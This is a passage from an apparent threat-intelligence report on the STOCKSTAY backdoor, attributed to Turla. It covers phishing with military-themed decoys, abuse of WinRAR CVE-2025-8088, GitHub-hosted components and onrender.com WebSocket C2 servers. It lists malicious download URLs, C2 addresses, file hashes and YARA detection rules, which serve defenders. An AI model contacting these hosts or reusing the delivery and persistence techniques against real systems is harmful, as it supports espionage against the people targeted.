<p><code>6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342</code></p>
</td>
</tr>
<tr>
<td>
<p><code>Калькулятор грошового забезпечення військовослужбовців 2025.hta</code></p>
</td>
<td>
<p><span>HTA lure </span></p>
<p><span>(translated filename: “Military personnel cash benefit calculator 2025.hta”)</span></p>
</td>
<td>
<p><code>0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>styles.dat.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
<td>
<p><code>626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459</code></p>
</td>
</tr>
<tr>
<td>
<p><code>EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 15: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://basecon.com.ua/calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing HTA lure and STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
</tr>
<tr>
<td>
<p><code>https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>Compromised WordPress infrastructure hosting STOCKSTAY ZIP archive</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 16: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>July 23 – 28, 2025: Actor Uses GitHub to Host STOCKSTAY MSI Files</span></h4>
<p><span>GTIG identified a GitHub account we suspect of being used by the threat actor to test or deploy STOCKSTAY. The GitHub account, </span><code>Roberto1983-ai</code><span>, was created on July <span>23,</span> 2025 at 12:01:03. </span></p>
<p><span>On July <span>24,</span> 2025, the account created a public repository named </span><code>msi_installer_test2</code><span>, into which a single file was uploaded: </span><code>DiplomacyEduAI.msi</code><span>. A second repository, this time named </span><code>msi_installer_test3</code><span>, was created by the same user on July 28, 2025, and subsequently populated with another version of </span><code>DiplomacyEduAI.msi</code><span>.</span></p>
<p><span>Both versions of </span><code>DiplomacyEduAI.msi</code><span> contained core STOCKSTAY components, alongside a configuration file containing the WebSocket C2 URL </span><code>wss://canal1zac1a.onrender.com/ws</code><span>. GTIG has been unable to identify any active operations using these specific MSI files.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 17: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 18: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>August 14, 2025: Actor Uses GitHub to Host STOCKSTAY Server Code</span></h4>
<p><span>GTIG identified a second GitHub account, which was observed hosting what we assess to be server-side code for handling STOCKSTAY C2 communications. The GitHub account, </span><code>ChikenFresh</code><span>, was created on August 14, 2025, then almost immediately created a public repository named </span><code>google-ai-labs-it</code><span>, into which the suspected C2 controller code was uploaded. Our analysis of the C2 controller is included in the malware analysis section earlier in this report.</span></p>
<p><span>The GitHub repository name corresponds with a STOCKSTAY C2 server identified running on the Render platform, however GTIG has not observed any active operations using this infrastructure. We assess that the threat actor linked this GitHub repository to their Render account in order to utilize their </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSocket hosting</span></a><span> capabilities.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>server.py</code></p>
</td>
<td>
<p><span>Python STOCKSTAY C2 controller</span></p>
</td>
<td>
<p><code>f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed</code></p>
</td>
</tr>
<tr>
<td>
<p><code>models.py</code></p>
</td>
<td>
<p><span>Database table definitions and models for use by </span><code>server.py</code><span> </span></p>
</td>
<td>
<p><code>7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78</code></p>
</td>
</tr>
<tr>
<td>
<p><code>wtools.py</code></p>
</td>
<td>
<p><span>Utility functions for use by </span><code>server.py</code></p>
</td>
<td>
<p><code>b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 19: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 20: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>November 2025: Ukraine — Drone-Related Lures and Deployment via CVE-2025-8088</span></h4>
<p><span>On November 6, 2025, GTIG identified a batch of phishing emails being sent from a drone-themed UKR.NET email account, to approximately 20 Ukraine-based targets, each containing a unique ukr.net file sharing link. Each link led to a malicious RAR archive which exploits a path traversal vulnerability in WinRAR (</span><a href="https://cloud.google.com/blog/topics/threat-intelligence/exploiting-critical-winrar-vulnerability"><span>CVE-2025-8088</span></a><span>) to install the core STOCKSTAY components. Continuations of this phishing activity were observed on November 12 and 14, 2025. We identified that only around 30% of the recipients of these phishing emails opened the emails, however we are unable to confirm how many of these individuals downloaded or executed the malicious payloads. All affected Google accounts were marked for additional authentication checks as a precautionary measure against potential account compromise. Google also notified affected users via our </span><a href="https://support.google.com/mail/answer/2591015" rel="noopener" target="_blank"><span>Government Backed Attack Warning</span></a><span> (GBAW) notifications.</span></p>
<p><span>GTIG identified two distinct types of Ukrainian-language decoy documents within the malicious RAR archives, both appearing to target Ukrainian military personnel. The first, “Донесення БпЛА 06.11.2025.docx” (“UAV report 06.11.2025.docx”), claimed to be “[A] Report on the availability/need for UAVs, their condition, the availability of crews for each UAV in the units, their training in the defense zone of the 1st Brigade as of 06.11.2025” (see Figure 10).</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig10.max-1000x1000.png" alt="“Report” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 10: “Report” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The second decoy, observed as “Товари(докладніше).docx” (“Products (more details).docx”) and “Приклади товарів для листа (деталізовано).docx” (“Examples of products for the letter (detailed).docx”), predominantly comprised of an equipment list referencing: “Tactical medicine”; “Communication and surveillance equipment”; “Equipment and survival equipment”; and “Automotive property” (see Figure 11).</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig11.max-1000x1000.png" alt="“Equipment List” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 11: “Equipment List” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Each of the decoy documents contained an external image reference that causes a connection to be made from the victim’s machine to a site likely monitored by the threat actor, signaling that the document has been opened. GTIG believes the URLs referenced by the decoy documents may be hosted on compromised infrastructure.</span></p>
<p><span>GTIG identified that the instances of STOCKSTAY observed being deployed during this operation contained enhancements intended to increase resistance to detection, specifically by carving out functionality into external modules. These external modules were named to imitate legitimate Windows libraries, using the filenames shown in Table 20.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>MSViewer.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>Shared STOCKSTAY core module</span></p>
</td>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>MSDriver.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER core module</span></p>
</td>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>MSRender.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER core module</span></p>
</td>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 21: STOCKSTAY component filenames observed in November 2025</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><p><span>GTIG observed two distinct STOCKSTAY WebSocket C2 URLs being used during this phishing wave. The majority of instances used the URL </span><code>wss://driverx86-adobe.onrender.com/ws</code><span>; however, we were able to identify at least one instance of STOCKSTAY using </span><code>wss://google-ai-labs-it.onrender.com/ws</code><span>, corresponding to the previously described GitHub repository associated with the </span><code>ChikenFresh</code><span> user.</span></p>
<p><span>Alongside the core STOCKSTAY components, the malicious RAR archives contained LNK files, described as “Updater Shortcut”, corresponding to each core STOCKSTAY component. The extraction file path was configured to attempt to deploy into the startup programs directory. </span></p>
<p><span>GTIG was able to identify that the actor began creating the LNK files for this operation approximately six hours prior to the first phishing emails being sent, with the Ukrainian-language lure documents being created around four hours prior.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
<td>
<p><span>Module containing core crypt and obfuscation routines, historically found within core STOCKSTAY components</span></p>
</td>
<td>
<p><code>b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
<td>
<p><span>Module containing backdoor command handlers, historically found within STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
<td>
<p><span>Module containing STOCKSTAY’s IPC logic, historically found within each STOCKSTAY component</span></p>
</td>
<td>
<p><code>e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span>Table 22: File indicators</span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://driverx86-adobe.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 23: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Attribution</span></h3>
<p><span>GTIG attributes the STOCKSTAY ecosystem and related activity to threat clusters assessed with high confidence links to Turla, based on the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY uses Windows-1251 during command-processing - an encoding notably designed specifically to support Cyrillic script. This is indicative of a development or operational environment linked to Eastern Europe, the Balkans, or Central Asia. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY has code overlaps with KAZUAR, a widely-attributed proprietary Turla toolkit, based on the recent introduction of K1MORPHER string obfuscation into both malware families within a similar time window.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>GTIG observed STOCKSTAY being delivered from compromised infrastructure which was also identified as hosting part of Turla’s victim-facing KAZUAR C2 infrastructure.</span></p>
</li>
</ul>
<p><span>Turla has a consistent focus on targeting Ukrainian Defense and Military organizations, and was identified within a Mandiant Incident Response deploying STOCKSTAY alongside a range of other proprietary Turla malware, such as WILDDAY, DIAMONDBACK, and KAZUAR.</span></p>
<h3><span>Detections</span></h3>
<h4><span>Google Security Operations (SecOps)</span></h4>
<p><span>SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats, Mandiant Hunting and Mandiant Intel Emerging Threats rule packs:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Archiver Extraction To Windows Startup</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write Registry Run Keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write to Run Registry Key</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Potential RDP File Write From Phishing</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>RDP Connection Initiated from Staging Directory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Onrender Subdomain Suspicious DNS Query</span></p>
</li>
</ul>
<h4><span>YARA Rules</span></h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize &gt; 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
